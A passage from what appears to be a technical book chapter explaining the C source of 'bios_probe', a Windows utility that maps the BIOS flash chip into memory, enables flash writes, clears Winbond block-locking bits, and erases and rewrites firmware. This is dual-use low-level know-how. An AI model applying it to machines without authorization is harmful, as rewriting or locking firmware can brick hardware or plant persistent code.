       if (chip_to_probe && strcmp(flash->name, chip_to_probe) != 0) { 
                     flash++; 
                     continue; 
       } 
       printf("Trying %s, %d KB\n", flash->name, flash->total_size); 
              size = flash->total_size * 1024; 
       // Bug? what happens if getpagesize() is greater in size?  
              GetSystemInfo(&si); 
              if(si.dwPageSize > size) 
              { 
                     size = si.dwPageSize; 
                     printf("%s: warning: size: %d -> %ld\n", 
                            __FUNCTION__, flash->total_size * 1024, 
                             (unsigned long)size); 
              } 
 
              bios = (volatile char*) MapPhysicalAddress((unsigned long) 
                                                 (0 - size), size); 
              // Error handler code omitted 
 
              flash->virt_addr = bios; 
 
              chip_addr = bios; 
              printf("chip_addr = 0x%Fp\n", chip_addr); 
 
              if (flash->probe(flash) == 1) { 
                     printf ("%s found at physical address: 0x%lx\n", 
                            flash->name, (0 - size)); 
                     return flash; 
              } 
              UnmapPhysicalAddress( (void*)bios, size); 
              flash++; 
    } 



 
    return NULL; 
} 
 
int verify_flash (struct flashchip * flash, char * buf, int verbose) 
{ 
    int i = 0; 
    int total_size = flash->total_size *1024; 
    volatile char * bios = flash->virt_addr; 
 
    printf("Verifying address: "); 
    while (i < total_size) { 
              if (verbose) 
                     printf("0x%08x", i); 
              if (*(bios+i) != *(buf+i)) { 
                     printf("FAILED\n"); 
                     return 0; 
              } 
              if (verbose) 
                     printf("\b\b\b\b\b\b\b\b\b\b"); 
 
              i++; 
    } 
 
       if (verbose) { 
       printf("\n"); 
 
       } else { 
              printf("VERIFIED\n"); 
       } 
 
       return 1; 
} 
 
// Count to a billion and time it; if it's < 1 sec, count to 10 billion;  
// etc. 
 
unsigned long micro = 1; 
 
int 
myusec_calibrate_delay() 
{ 
       int count = 1000; 
       unsigned long timeusec; 
       int ok = 0; 
       LARGE_INTEGER freq, cnt_start, cnt_end; 
 
       void myusec_delay(int time); 
 
       printf("Setting up microsecond timing loop\n"); 
 



       // Query the number of counts per second 
       if( (FALSE == QueryPerformanceFrequency(&freq)) && 
               (freq.QuadPart < 1000000)) 
       { 
              return 0; // fail 
       } 
 
       while (! ok) { 
 
              QueryPerformanceCounter(&cnt_start); 
              myusec_delay(count); 
              QueryPerformanceCounter(&cnt_end); 
 
              timeusec = (((cnt_end.QuadPart - cnt_start.QuadPart) * 
                            1000000) / freq.QuadPart); 
 
              count *= 2; 
              if (timeusec < 1000000/4) 
                     continue; 
              ok = 1; 
       } 
 
       // Compute 1 msec; that will be count / timeusec 
       micro = count / timeusec; 
 
       fprintf(stderr, "%ldM loops per second\n", (unsigned long)micro); 
 
       return 1; // Success 
} 
 
 
void 
myusec_delay(int time) 
{ 
  volatile unsigned long i; 
  for(i = 0; i < time * micro; i++) 
       ; 
} 
 
typedef struct penable { 
  unsigned short vendor, device; 
  char *name; 
  int (*doit)(struct pci_dev *dev, char *name); 
} FLASH_ENABLE; 
 
FLASH_ENABLE enables[] = { 
 
    // Irrelevant code omitted 
 
  {0x1106, 0x0596, "VT82C596B", enable_flash_vt82C596B}, /* VIA 596B PCI- 
                                                         to-ISA Bridge */ 



    // Irrelevant code omitted 
 
}; 
 
int 
enable_flash_write() { 
  int i; 
  struct pci_access *pacc; 
  struct pci_dev *dev = 0; 
  FLASH_ENABLE *enable = 0; 
 
  pacc = pci_alloc();           /* Get the pci_access structure */ 
  /* Set all options you want; I stick with the defaults */ 
  pci_init(pacc);               /* Initialize the PCI library */ 
  pci_scan_bus(pacc);           /* You want the list of devices */ 
 
  /* Try to find the chipset used */ 
  for(i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) { 
    struct pci_filter f; 
    struct pci_dev *z; 
    /* The first param is unused */ 
    pci_filter_init((struct pci_access *) 0, &f); 
    f.vendor = enables[i].vendor; 
    f.device = enables[i].device; 
    for(z=pacc->devices; z; z=z->next) 
      if (pci_filter_match(&f, z)) { 
       enable = &enables[i]; 
       dev = z; 
      } 
  } 
 
  /* Do the deed */ 
  if (enable) { 
      printf("Enabling flash write on %s...", enable->name); 
      if (enable->doit(dev, enable->name) == 0) 
          printf("OK\n"); 
  } 
  return 0; 
} 
 
void usage(const char *name) 
{ 
    printf("usage: %s [-rwv] [-c chipname][file]\n", name); 
    printf("-r: read flash and save into file\n" 
           "-rv: read flash, save into file and verify against the " 
           "contents of the flash\n" 
           "-w: write file into flash (default when file is specified)\n" 
           "-wv: write file into flash and verify flash against file\n" 
           "-c: probe only for specified flash chip\n"); 
    exit(1); 
} 



 
 
int 
main (int argc, char * argv[]) 
{ 
    char * buf; 
    unsigned long size; 
    FILE * image; 
    struct flashchip * flash; 
    int read_it = 0, write_it = 0, verify_it = 0; 
    char *filename = NULL; 
 
       ////////////////////////////////////////////////////////// 
       // Input parameters handler (quick hack) 
       // 
       if( ( argc < 3) || (argc > 5) ) 
       { 
              usage(argv[0]); // Display usage and exit 
       } 
 
       if( !strcmp(argv[1],"-w") ) 
       { 
              write_it = 1; 
       } 
       else if(!strcmp(argv[1],"-r")) 
       { 
              read_it = 1; 
       } 
       else if(!strcmp(argv[1],"-wv")) 
       { 
              write_it = 1; 
              verify_it = 1; 
       } 
       else if(!strcmp(argv[1],"-rv")) 
       { 
              read_it = 1; 
              verify_it = 1; 
       } 
       else 
       { 
              usage(argv[0]); // Display usage and exit 
       } 
 
 
       if( !strcmp(argv[2], "-c") ) 
       { 
              chip_to_probe = strdup(argv[3]); 
              filename = argv[4]; 
       } 
       else 
       { 



              filename = argv[2]; 
       } 
 
 
       if (read_it && write_it) { 
        printf("-r and -w are mutually exclusive\n"); 
        usage(argv[0]); // Display usage and exit the program 
    } 
 
       printf("Calibrating timer since microsleep sucks ... takes a" 
              " second\n"); 
 
       if(0 == myusec_calibrate_delay()) 
       { 
              // Error handler code omitted 
              return 0; 
       } 
 
       printf("OK, calibrated, now do the deed\n"); 
 
       // 
       // Initialize driver interface for direct_io operation (outl, inb, 
       // etc.) and map the BIOS chip address space into the current 
       // user-mode application address space 
       // 
       if( InitDriver() == 0) 
       { 
              printf("Error: failed to initialize driver interface\n"); 
              return 0; 
       } 
 
    /* Try to enable it; failure is an option because not all 
     * motherboards need this to be done 
     */ 
    (void) enable_flash_write(); 
 
    if ((flash = probe_flash (flashchips)) == NULL) { 
       // Error handler code omitted 
       exit(1); 
    } 
 
    printf("Part is %s\n", flash->name); 
    if (!filename){ 
       // Error handler code omitted 
       return 0; 
    } 
    size = flash->total_size * 1024; 
    buf = (char *) calloc(size, sizeof(char)); 
 
       if(NULL == buf) 
       { 



        // Error handler code omitted 
        exit(1); 
       } 
 
    if (read_it ) { 
        if ((image = fopen(filename, "wb")) == NULL) { 
            // Error handler code omitted 
            exit(1); 
        } 
        printf("Reading Flash..."); 
              if(flash->read == NULL) { 
                     memcpy(buf, (const char *) flash->virt_addr, size); 
              } else { 
                     flash->read(flash, buf); 
              } 
        fwrite(buf, sizeof(char), size, image); 
        fclose(image); 
        printf("done\n"); 
 
    } else { 
        if ((image = fopen (filename, "rb")) == NULL) { 
            // Error handler code omitted 
            exit(1); 
        } 
        fread (buf, sizeof(char), size, image); 
        fclose(image); 
    } 
 
    if (write_it || (!read_it && !verify_it)) 
        flash->write(flash, buf); 
    if (verify_it) 
        verify_flash(flash, buf, /* verbose = */ 0); 
 
 
       if(NULL != buf) 
              free( buf ); // Free the heap that is used 
 
       CleanupDriver(); // Clean up the driver interface 
       return 0; 
} 
 
 As with other console-based applications, the entry point of bios_probe is the 
function main. So, start with this function. The main function starts by checking the user 
input to see whether the user wants to read from the flash ROM or write into it and whether 
the user wants to verify the operation upon completion or not. Then, main calls a function 
named myusec_calibrate_delay. The latter function then calibrates the loop counter 
needed for an approximately 1-msec delay, as shown in listing 9.13. 
 

Listing 9.13 Calling the Microsecond Calibration Routine 



// In function main: 
       if(0 == myusec_calibrate_delay()) 
// ... 
int myusec_calibrate_delay() 
{ 
    int count = 1000; 
    unsigned long timeusec; 
    int ok = 0; 
    LARGE_INTEGER freq, cnt_start, cnt_end; 
 
    void myusec_delay(int time); 
 
    printf("Setting up microsecond timing loop\n"); 
 
    // Query number of count per second 
    if( (FALSE == QueryPerformanceFrequency(&freq)) && 
        (freq.QuadPart < 1000000)) 
    { 
        return 0; // Fail 
    } 
 
    while (! ok) { 
 
        QueryPerformanceCounter(&cnt_start); 
        myusec_delay(count); 
        QueryPerformanceCounter(&cnt_end); 
 
        timeusec = (((cnt_end.QuadPart - cnt_start.QuadPart) * 
                     1000000) / freq.QuadPart); 
 
        count *= 2; 
        if (timeusec < 1000000/4) 
            continue; 
        ok = 1; 
    } 
 
    // Compute 1 msec (count / timeusec) 
    micro = count / timeusec; 
 
    fprintf(stderr, "%ldM loops per second\n", (unsigned long)micro); 
 
    return 1; // Success 
} 
 
void myusec_delay(int time) 
{ 
  volatile unsigned long i; 
  for(i = 0; i < time * micro; i++) 
    ; 
} 
 



 
 You need an approximately 1-msec delay for some transactions with the flash 
ROM chip, particularly those related to read and write operations. That's why the 
calibration is needed. Note that the counter18 in the myusec_delay function is declared a 
volatile variable to ensure that there is no optimization by the compiler. Therefore, it 
will be placed in RAM. If the counter is optimized, it's possible that the increment 
operation will soon make the counter overflow and will create unwanted side effects 
because it's placed in a register and loop is unrolled19 by the compiler. 
 After the calibration is finished, the main function calls the InitDriver function 
to initialize the device driver. 
 

Listing 9.14 Calling the Driver Initialization Routine 

// in function main: 
       if( InitDriver() == 0) 
       { 
              printf("Error: failed to initialize driver interface\n"); 
              return 0; 
       } 
// ... 
 
 InitDriver is a function declared in direct_io.h and implemented in 
direct_io.c. This function extracts the driver from the executable file, activates it, and 
then tries to obtain a handle to it. This process is shown in listing 9.15. 
 

Listing 9.15 Driver Initialization Function 

/* 
 * file: direct_io.c 
 */ 
 
// Irrelevant code omitted 
 
int InitDriver() 
/* 
 * ret_val: 0 if error 
 *          1 if succeeded 
 */ 
{ 
       DWORD errNum; 
 
    // 
    // Extract the driver binary from the resource in the executable 
    // 

                                                 
18 The counter is the i variable. 
19 Read more about loop unrolling in the Intel Optimization Reference Manual. 



    if (ExtractDriver(MAKEINTRESOURCE(101), "bios_probe.sys") == TRUE) { 
              printf("The driver has been extracted\n"); 
 
    } else { 
              DisplayErrorMessage(GetLastError()); 
              printf("Exiting..\n"); 
              return 0; 
    } 
 
 
    // 
    // Set up the full path to driver name 
    // 
    if (!SetupDriverName(driverLocation)) { 
              printf("Error: failed to setup driver name \n"); 
        return 0; 
    } 
 
 
    // 
    // Try to activate the driver 
    // 
    if(ActivateDriver(DRIVER_NAME, driverLocation, TRUE) == TRUE) { 
              printf("The driver is registered and activated\n"); 
    } else { 
              printf("Error: unable to register and activate the " 
                     "driver\n"); 
              DeleteFile(driverLocation); 
              return 0; 
    } 
 
    // 
    // Try to open the newly installed driver 
    // 
 
    hDevice = CreateFile( "\\\\.\\bios_probe", 
                GENERIC_READ | GENERIC_WRITE, 
                0, 
                NULL, 
                OPEN_EXISTING, 
                FILE_ATTRIBUTE_NORMAL, 
                NULL); 
 
    if ( hDevice == INVALID_HANDLE_VALUE ){ 
        errNum = GetLastError(); 
              printf ( "Error: CreateFile Failed : %d\n", errNum ); 
              DisplayErrorMessage(errNum); 
 
              // Clean up the resources created and used up to now 
              ActivateDriver(DRIVER_NAME, driverLocation, FALSE); 
              DeleteFile(driverLocation); 



 
        return 0; 
    } 
 
       return 1; 
} 
 
 The handle obtained in InitDriver is used for direct I/O functions, such as 
outb, outl, and inw. 
 Upon completing the device driver initialization, main calls 
enable_flash_write. The purpose of enable_flash_write is to configure the PCI 
configuration register in the southbridge of the motherboard to enable access to the BIOS 
chip address space. In many systems, the BIOS chip address space cannot be accessed after 
the operating system boots. The enable_flash_write function is complex, as you can 
see in listing 9.16. 
 

Listing 9.16 Enabling Access to the BIOS Chip Address Space 

/* 
 * file: flash_rom.c 
 */ 
 
// Irrelevant code omitted 
 
int enable_flash_write() { 
  int i; 
  struct pci_access *pacc; 
  struct pci_dev *dev = 0; 
  FLASH_ENABLE *enable = 0; 
 
  pacc = pci_alloc();           /* Get the pci_access structure */ 
  /* Set all options you want; I stick with the defaults */ 
  pci_init(pacc);               /* Initialize the PCI library */ 
  pci_scan_bus(pacc);           /* Get the list of devices */ 
 
  /* Try to find the chipset used */ 
  for(i = 0; i < sizeof(enables)/sizeof(enables[0]) && (! dev); i++) { 
    struct pci_filter f; 
    struct pci_dev *z; 
    /* The first parameter is unused */ 
    pci_filter_init((struct pci_access *) 0, &f); 
    f.vendor = enables[i].vendor; 
    f.device = enables[i].device; 
    for(z=pacc->devices; z; z=z->next) 
      if (pci_filter_match(&f, z)) { 
       enable = &enables[i]; 
       dev = z; 
      } 
  } 



 
  /* Do the deed */ 
  if (enable) { 
      printf("Enabling flash write on %s...", enable->name); 
      if (enable->doit(dev, enable->name) == 0) 
          printf("OK\n"); 
  } 
  return 0; 
} 
 
// Irrelevant code omitted 
 
 
 The enable_flash_write function uses libpci to probe the PCI bus to look 
for PCI devices and then scrutinize those devices for supported southbridges. When a 
supported southbridge is found, enable_flash_write then calls the appropriate 
initialization function to enable access to the BIOS chip address space through the 
southbridge. The supported southbridges are represented by an array of objects of the 
FLASH_ENABLE type named enables, as shown in listing 9.17. 
 

Listing 9.17 Data Structure to Enable Access in a Specific Southbridge 

/* 
 * file: flash_rom.c 
 */ 
 
// Irrelevant code omitted 
 
typedef struct penable { 
  unsigned short vendor, device; 
  char *name; 
  int (*doit)(struct pci_dev *dev, char *name); 
} FLASH_ENABLE; 
 
// Irrelevant code omitted 
 
FLASH_ENABLE enables[] = { 
  {0x1, 0x1, "sis630 -- what's the ID?", enable_flash_sis630}, 
  {0x8086, 0x2480, "E7500", enable_flash_e7500}, 
  {0x8086, 0x24D0, "ICH5", enable_flash_i82801EB}, /* ICH5 LPC Bridge */ 
  {0x1106, 0x8231, "VT8231", enable_flash_vt8231}, 
  {0x1106, 0x0596, "VT82C596B", enable_flash_vt82C596B}, /* VIA 596B */ 
  {0x1106, 0x3177, "VT8235", enable_flash_vt8235}, 
  {0x1078, 0x0100, "CS5530", enable_flash_cs5530}, 
  {0x100b, 0x0510, "SC1100", enable_flash_sc1100}, 
  {0x1039, 0x8, "SIS5595", enable_flash_sis5595}, 
}; 



 
// Irrelevant code omitted 
 
 The return value from enable_flash_write is not checked in the main function 
because some motherboards don't protect access to the BIOS chip address space. 
 After the enable_flash_write function returns, main probes the system for the 
supported flash ROM chip, as shown in listing 9.18. 
 

Listing 9.18 Probing for the Supported Flash ROM Chip 

/* 
 * file: flash_rom.c 
 */ 
// Irrelevant code omitted 
struct flashchip flashchips[] = { 
 
    // Irrelevant entries omitted 
 
    {"W49F002U",    WINBOND_ID, W_49F002U,    NULL, 256, 128, 
     probe_49f002,   erase_49f002,   write_49f002, NULL, NULL}, 
    {"W39V040FA",   WINBOND_ID, W_39V040FA,    NULL, 512, 4096, 
    /* TODO: the sector size must be ensured to be correct! */ 
     probe_39v040fa,   erase_39v040fa,   write_39v040fa, NULL, NULL}, 
 
    // Irrelevant entries omitted 
    {NULL,} 
}; 
 
// Irrelevant code omitted 
int main (int argc, char * argv[]) 
{ 
    // Irrelevant code omitted 
 
    if ((flash = probe_flash (flashchips)) == NULL) { 
        printf("EEPROM not found\n"); 
        CleanupDriver(); // Cleanup driver interface 
        exit(1); 
    } 
 
    // Irrelevant code omitted 
} 
 
// Irrelevant code omitted 
 
struct flashchip * probe_flash(struct flashchip * flash) 
{ 
    volatile char * bios; 
    unsigned long size; 
    volatile char * chip_addr; 
    SYSTEM_INFO si; 



 
    while (flash->name != NULL) { 
        if (chip_to_probe && strcmp(flash->name, chip_to_probe) != 0) { 
            flash++; 
            continue; 
        } 
        printf("Trying %s, %d KB\n", flash->name, flash->total_size); 
        size = flash->total_size * 1024; 
        // BUG? what happens if getpagesize() > size?  
        GetSystemInfo(&si); 
        if(si.dwPageSize > size) 
        { 
            size = si.dwPageSize; 
            printf("%s: warning: size: %d -> %ld\n", 
                   __FUNCTION__,    flash->total_size * 1024, 
                   (unsigned long)size); 
        } 
 
        bios = (volatile char*) MapPhysicalAddress((unsigned long) 
                                                   (0 - size), size); 
              // Error handler code omitted 
 
        flash->virt_addr = bios; 
 
        chip_addr = bios; 
       printf("chip_addr = 0x%Fp\n", chip_addr); 
 
       if (flash->probe(flash) == 1) { 
              printf ("%s found at physical address: 0x%lx\n", 
                      flash->name, (0 - size)); 
              return flash; 
       } 
       UnmapPhysicalAddress( (void*)bios, size); 
       flash++; 
    } 
 
    return NULL; 
} 
 
// Irrelevant code omitted 
 
 As you can see in listing 9.18, probe_flash is a complicated function. Its input 
parameter is a pointer to a flashchip object. However, it may not be obvious that 
probe_flash expects this input parameter to be a pointer to an array of objects rather than 
a pointer to a single object. It's OK if the array contains just one object, as long as there is a 
NULL to indicate the end of the array. If probe_flash succeeds, the return value is a 
pointer to the flashchip object that matches the current flash ROM chip in the system. 
Otherwise, it returns NULL. The while loop in the probe_flash function walks through 
the array of flashchip objects to find a matching flash ROM. The process starts with 



mapping the address space of the BIOS chip21 to the address space of bios_probe by 
invoking the MapPhysicalAddressRange function. MapPhysicalAddressRange 
returns a pointer to the starting virtual address for the requested physical address space.22 
This pointer is used to communicate with the BIOS chip by reading and writing into the 
virtual address space.23 Every chip supported by bios_probe has its own method to read, 
obtain manufacturer identification from the chip, and write to the chip. These unique 
properties are shown in the flashchip data structure and in the flashchips array in 
listing 9.19. 
 

Listing 9.19 The flashchip Data Structure and the Array of flashchip Objects 

/*---------------------------------------------------------------------- 
   file: flash_rom.h 
 ----------------------------------------------------------------------*/ 
struct flashchip { 
       char * name; 
       int manufacture_id; 
       int model_id; 
 
       volatile char * virt_addr; 
       int total_size; 
       int page_size; 
 
       int (*probe) (struct flashchip * flash); 
       int (*erase) (struct flashchip * flash); 
       int (*write) (struct flashchip * flash, unsigned char * buf); 
       int (*read)  (struct flashchip * flash, unsigned char * buf); 
 
       volatile char *virt_addr_2; 
}; 
 
/*---------------------------------------------------------------------- 
   file: flash_rom.c 
  --------------------------------------------------------------------*/ 
// Irrelevant code omitted 
 
// An array of objects of the flashchip type 
 
struct flashchip flashchips[] = { 
    // Irrelevant entries omitted 
 
    {"W49F002U",    WINBOND_ID, W_49F002U,    NULL, 256, 128, 
     probe_49f002,   erase_49f002,   write_49f002, NULL, NULL}, 
    {"W39V040FA",   WINBOND_ID, W_39V040FA,    NULL, 512, 4096, 
    /* TODO: the sector size must be ensured to be correct! */ 

                                                 
21 The physical address space near the 4-GB limit. 
22 The virtual address is in the context of flash_n_burn user-mode application. 
23 Reading and writing are accomplished using pointer indirection and dereference operator. 



     probe_39v040fa,   erase_39v040fa,   write_39v040fa, NULL, NULL}, 
 
    // Irrelevant entries omitted 
    {NULL,} 
}; 
 
// Irrelevant code omitted 
 
 In the source code, the array of flashchip objects is named flashchips. One 
of the usable objects in flashchips array represents the operation that you can carry out 
for Winbond W49F002U flash ROM. This object contains data and function pointers that 
"describe" Winbond W49F002U flash ROM, as shown in listing 9.19. The definition of the 
constants in the object is in the flash.h file. 
 

Listing 9.20 Winbond W49F002U Constants 

/* 
 * file: flash.h 
 */ 
// Irrelevant code omitted 
#define WINBOND_ID        0xDA    /* Winbond manufacturer ID code  */ 
// Irrelevant code omitted 
#define W_49F002U         0x0B    /* Winbond W49F002U device code  */ 
#define W_39V040FA        0x34    /* Winbond W39V040FA device code */ 
// Irrelevant code omitted 
 
 The implementation of the function pointers in the Winbond W49F002U object in 
listing 9.19 is in the w49f002u.c file, as shown in listing 9.21. 
 

Listing 9.21 Winbond W49F002U Functions Implementation 

/* 
 * w49f002u.c: driver for Winbond 49F002U flash models 
 * 
 * Copyright 2000 Silicon Integrated System Corporation 
 * 
 *     This program is free software; you can redistribute it and/or 
 *     modify it under the terms of the GNU General Public License as 
 *     published by the Free Software Foundation; either version 2 of the 
 *     License, or (at your option) any later version. 
 *     ... 
 * 
 * Reference: 
 *     W49F002U data sheet 
 */ 
 
#include <stdio.h> 
#include "flash.h" 
#include "jedec.h" 



#include "w49f002u.h" 
 
int probe_49f002 (struct flashchip * flash) 
{ 
       volatile char * bios = flash->virt_addr; 
       unsigned char id1, id2; 
 
       *(bios + 0x5555) = 0xAA; 
       *(bios + 0x2AAA) = 0x55; 
       *(bios + 0x5555) = 0x90; 
 
       id1 = *(volatile unsigned char *) bios; 
       id2 = *(volatile unsigned char *) (bios + 0x01); 
 
       *bios = 0xF0; 
 
       myusec_delay(10); 
 
       printf("%s: id1 0x%x, id2 0x%x\n", __FUNCTION__, id1, id2); 
       printf("flash chip manufacturer id = 0x%x\n", 
              flash->manufacture_id ); 
 
       if (id1 == flash->manufacture_id && id2 == flash->model_id) 
              return 1; 
 
       return 0; 
} 
 
int erase_49f002 (struct flashchip * flash) 
{ 
       volatile char * bios = flash->virt_addr; 
 
       *(bios + 0x5555) = 0xAA; 
       *(bios + 0x2AAA) = 0x55; 
       *(bios + 0x5555) = 0x80; 
       *(bios + 0x5555) = 0xAA; 
       *(bios + 0x2AAA) = 0x55; 
       *(bios + 0x5555) = 0x10; 
 
       myusec_delay(100); 
       toggle_ready_jedec(bios); 
 
#if 0 
       toggle_ready_jedec(bios); 
       *(bios + 0x0ffff) = 0x30; 
       *(bios + 0x1ffff) = 0x30; 
       *(bios + 0x2ffff) = 0x30; 
       *(bios + 0x37fff) = 0x30; 
       *(bios + 0x39fff) = 0x30; 
       *(bios + 0x3bfff) = 0x30; 
#endif 



 
       return 0; 
} 
 
int write_49f002 (struct flashchip * flash, unsigned char * buf) 
{ 
    int i; 
    int total_size = flash->total_size * 1024; 
    volatile char * bios = flash->virt_addr; 
    volatile char * dst = bios; 
 
    *bios = 0xF0; 
    myusec_delay(10); 
    erase_49f002(flash); 
 
#if 1 
   printf ("Programming Page: "); 
    for (i = 0; i < total_size; i++) 
       { 
       /* Write to the sector */ 
 
       if ((i & 0xfff) == 0) 
           printf ("address: 0x%08lx", (unsigned long)i); 
 
       *(bios + 0x5555) = 0xAA; 
       *(bios + 0x2AAA) = 0x55; 
       *(bios + 0x5555) = 0xA0; 
       *dst = *buf; // Postincrementing the buffer and BIOS chip pointer 
                    // Here is a bug 
 
       /* Wait until the toggle bit is ready */ 
       toggle_ready_jedec(dst); 
 
       dst++; 
       buf++; 
 
       if ((i & 0xfff) == 0) 
           printf ("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"); 
    } 
#endif 
    printf("\n"); 
 
    return 0; 
} 
 
 Listing 9.21 shows the implementation of functions used to manipulate the 
contents of Winbond W49F002U flash ROM chip. It is imperative to read the Winbond 
W49F002U datasheet if you want to understand. It's available free of charge at 
http://www.winbond.com/e-winbondhtm/partner/_Memory_F_PF.htm. 
 The implementation of the function pointers for the Winbond W39V040FA object 
in listing 9.19 is in the w39v040fa.c file, as shown in listing 9.22. 



 

Listing 9.22 Winbond W39V040FA Functions Implementation 

/* 
 * w39v040fa.c: driver for Winbond 39V040FA flash models 
 * 
 * Copyright 2000 Silicon Integrated System Corporation 
 * 
 *     This program is free software; you can redistribute it and/or 
 *     modify it under the terms of the GNU General Public License as 
 *     published by the Free Software Foundation; either version 2 of the 
 *     License, or (at your option) any later version. 
 * 
 *     ... 
 * Reference: 
 *     W39V040FA data sheet 
 */ 
 
#include <stdio.h> 
#include "flash.h" 
#include "jedec.h" 
#include "direct_io.h" 
#include "w39v040fa.h" 
 
enum { 
    BLOCKING_REGS_PHY_RANGE = 0x80000, 
    BLOCKING_REGS_PHY_BASE = 0xFFB80000, 
}; 
 
int probe_39v040fa (struct flashchip * flash) 
{ 
    volatile char * bios = flash->virt_addr; 
    unsigned char id1, id2; 
 
    *(bios + 0x5555) = 0xAA; 
    *(bios + 0x2AAA) = 0x55; 
    *(bios + 0x5555) = 0x90; 
 
    id1 = *(volatile unsigned char *) bios; 
    id2 = *(volatile unsigned char *) (bios + 0x01); 
 
    *bios = 0xF0; 
 
    myusec_delay(10); 
 
    printf("%s: id1 0x%x, id2 0x%x\n", __FUNCTION__, id1, id2); 
    printf("flash chip manufacturer id = 0x%x\n", flash->manufacture_id); 
 
    if (id1 == flash->manufacture_id && id2 == flash->model_id) 
        return 1; 
 



    return 0; 
} 
 
int erase_39v040fa (struct flashchip * flash) 
{ 
    volatile char * bios = flash->virt_addr; 
 
    *(bios + 0x5555) = 0xAA; 
    *(bios + 0x2AAA) = 0x55; 
    *(bios + 0x5555) = 0x80; 
    *(bios + 0x5555) = 0xAA; 
    *(bios + 0x2AAA) = 0x55; 
    *(bios + 0x5555) = 0x10; 
 
    myusec_delay(100); 
    toggle_ready_jedec(bios); 
 
    return(0); 
} 
 
 
volatile char * unprotect_39v040fa(void) 
{ 
    unsigned char i, byte_val; 
    volatile char * block_regs_base; 
 
    block_regs_base = (volatile char*) MapPhysicalAddressRange( 
                       BLOCKING_REGS_PHY_BASE, BLOCKING_REGS_PHY_RANGE); 
 
    if (block_regs_base == NULL) { 
        perror( "Error: Unable to map Winbond W39V040FA blocking " 
                      "registers!\n"); 
        return NULL; 
    } 
 
    // 
    // Unprotect the BIOS chip address range 
    // 
    for( i = 0; i < 8 ; i++ ) 
    { 
        byte_val =  *(block_regs_base + 2 + i*0x10000); 
        byte_val &= 0xF8; // Enable full access to the chip 
        *(block_regs_base + 2 + i*0x10000) = byte_val; 
    } 
 
    return block_regs_base; 
} 
 
 
void protect_39v040fa(volatile char * reg_base) 
{ 



    // 
    // Protect the BIOS chip address range 
    // 
    unsigned char i, byte_val; 
    volatile char * block_regs_base = reg_base; 
 
    for( i = 0; i < 8 ; i++ ) 
    { 
       byte_val = *(block_regs_base + 2 + i*0x10000); 
       byte_val |= 1; // Prohibited writing in the block where set 
       *(block_regs_base + 2 + i*0x10000) = byte_val; 
    } 
 
    UnmapPhysicalAddressRange((void*) reg_base, BLOCKING_REGS_PHY_RANGE); 
} 
 
 
int write_39v040fa (struct flashchip * flash, unsigned char * buf) 
{ 
    int i; 
    int total_size = flash->total_size * 1024; 
    volatile char * bios = flash->virt_addr; 
    volatile char * dst = bios; 
    volatile char * reg_base; 
 
    *bios = 0xF0; // Product ID exit 
    myusec_delay(10); 
 
    reg_base = unprotect_39v040fa(); 
    erase_39v040fa(flash); 
 
#if 1 
    printf ("Programming Page: "); 
    for (i = 0; i < total_size; i++) 
    { 
        // Write to the sector 
        if ((i & 0xfff) == 0) 
            printf ("address: 0x%08lx", (unsigned long)i); 
        *(bios + 0x5555) = 0xAA; 
        *(bios + 0x2AAA) = 0x55; 
        *(bios + 0x5555) = 0xA0; 
        *dst = *buf; 
 
        // Wait until the toggle bit is ready 
        toggle_ready_jedec(dst); 
 
        dst++; 
        buf++; 
 
        if ((i & 0xfff) == 0) 
            printf ("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"); 



    } 
#endif 
    printf("\n"); 
 
    if(NULL != reg_base) 
    { 
        protect_39v040fa(reg_base); 
    } 
 
    return(0); 
} 
 
 Listing 9.22 shows that Winbond W39V040FA has its own method for locking 
every 64-KB block in the 512-KB flash ROM address space. You won't be able to write 
into these blocks unless you disable the protection first. The registers that control the 
locking method of these blocks are memory-mapped registers. That's why in listing 9.22 the 
code maps the "blocking registers" physical address range into the process's virtual address 
space. The blocking registers are mapped to the FFB80002h–FFBF0002h address range. 
This kind of blocking method or a similar one is used in flash ROM that adheres to Intel's 
firmware hub specification. If you are still confused, see the snippet from the Winbond 
W39V040FA datasheet in table 9.1. 
 

Registers Registers 
Type 

Control 
Block 

Device Physical 
Address 

4-GB System 
Memory 
Address 

BLR724 R/W 7 7FFFFh–70000h FFBF0002h 

BLR6 R/W 6 6FFFFh–60000h FFBE0002h 

BLR5 R/W 5 5FFFFh–50000h FFBD0002h 

BLR4 R/W 4 4FFFFh–40000h FFBC0002h 

BLR3 R/W 3 3FFFFh–30000h FFBB0002h 

BLR2 R/W 2 2FFFFh–20000h FFBA0002h 

BLR1 R/W 1 1FFFFh–10000h FFB90002h 

BLR0 R/W 0 0FFFFh–00000h FFB80002h 

Table 9.1 Block Locking Registers Type and Access Memory Map Table for Winbond 
W39V040FA 

 
 The device physical address column in table 9.1 refers to the physical address of 
the blocking registers when it's not mapped into the 4-GB system-wide address space. 
 

Bit Function 
7–3 Reserved 
2 Read Lock 

                                                 
24 BLR stands for block locking register. A BLR size is 1 byte. 



1: Prohibited to read in the block where set. 
0: Normal read operation in the block where clear. This is the default state. 

1 Lock Down 
1: Prohibited further to set or clear the read-lock and write-lock bits. This 
lock-down bit can only be set not clear. Only if the device is reset or 
repowered is the lock-down bit cleared. 
0: Normal operation for read-lock or write-lock. This is the default state. 

0 Write Lock 
1: Prohibited to write in the block where set. This is the default state. 
0: Normal programming or erase operation in the block where clear. 

Table 9.2 Block Locking Register Bits Function Table 

 
 Table 9.2, also from the Winbond W39V040FA datasheet, shows that the lowest 
three bits of the block locking register (BLR) controls the access into W39V040FA. You 
can even "disable" the chip by setting the value of bit 0, bit 1, and bit 2 in all BLRs to one. 
This setting will "lock" the chip, making it inaccessible until the next reboot. It's imperative 
to read the Winbond W39V040FA datasheet if you want to know its internal working 
principle. 
 After successfully initializing the object that represents the BIOS chip, the main 
function calls the appropriate member function of the object to carry out the operation that 
bios_probe user requested. This process is shown in listing 9.23. 
 

Listing 9.23 Fulfilling User Request in the main Function 

/* 
 * file: flash_rom.c 
 */ 
// Irrelevant code omitted 
int main (int argc, char * argv[]) 
{ 
    // Irrelevant code omitted 
 
    if (read_it ) { 
        if ((image = fopen(filename, "wb")) == NULL) { 
            // Error handler code omitted 
            exit(1); 
        } 
        printf("Reading Flash..."); 
            if(flash->read == NULL) { 
                    memcpy(buf, (const char *) flash->virt_addr, size); 
            } else { 
                    flash->read(flash, buf); 
            } 
        fwrite(buf, sizeof(char), size, image); 
        fclose(image); 
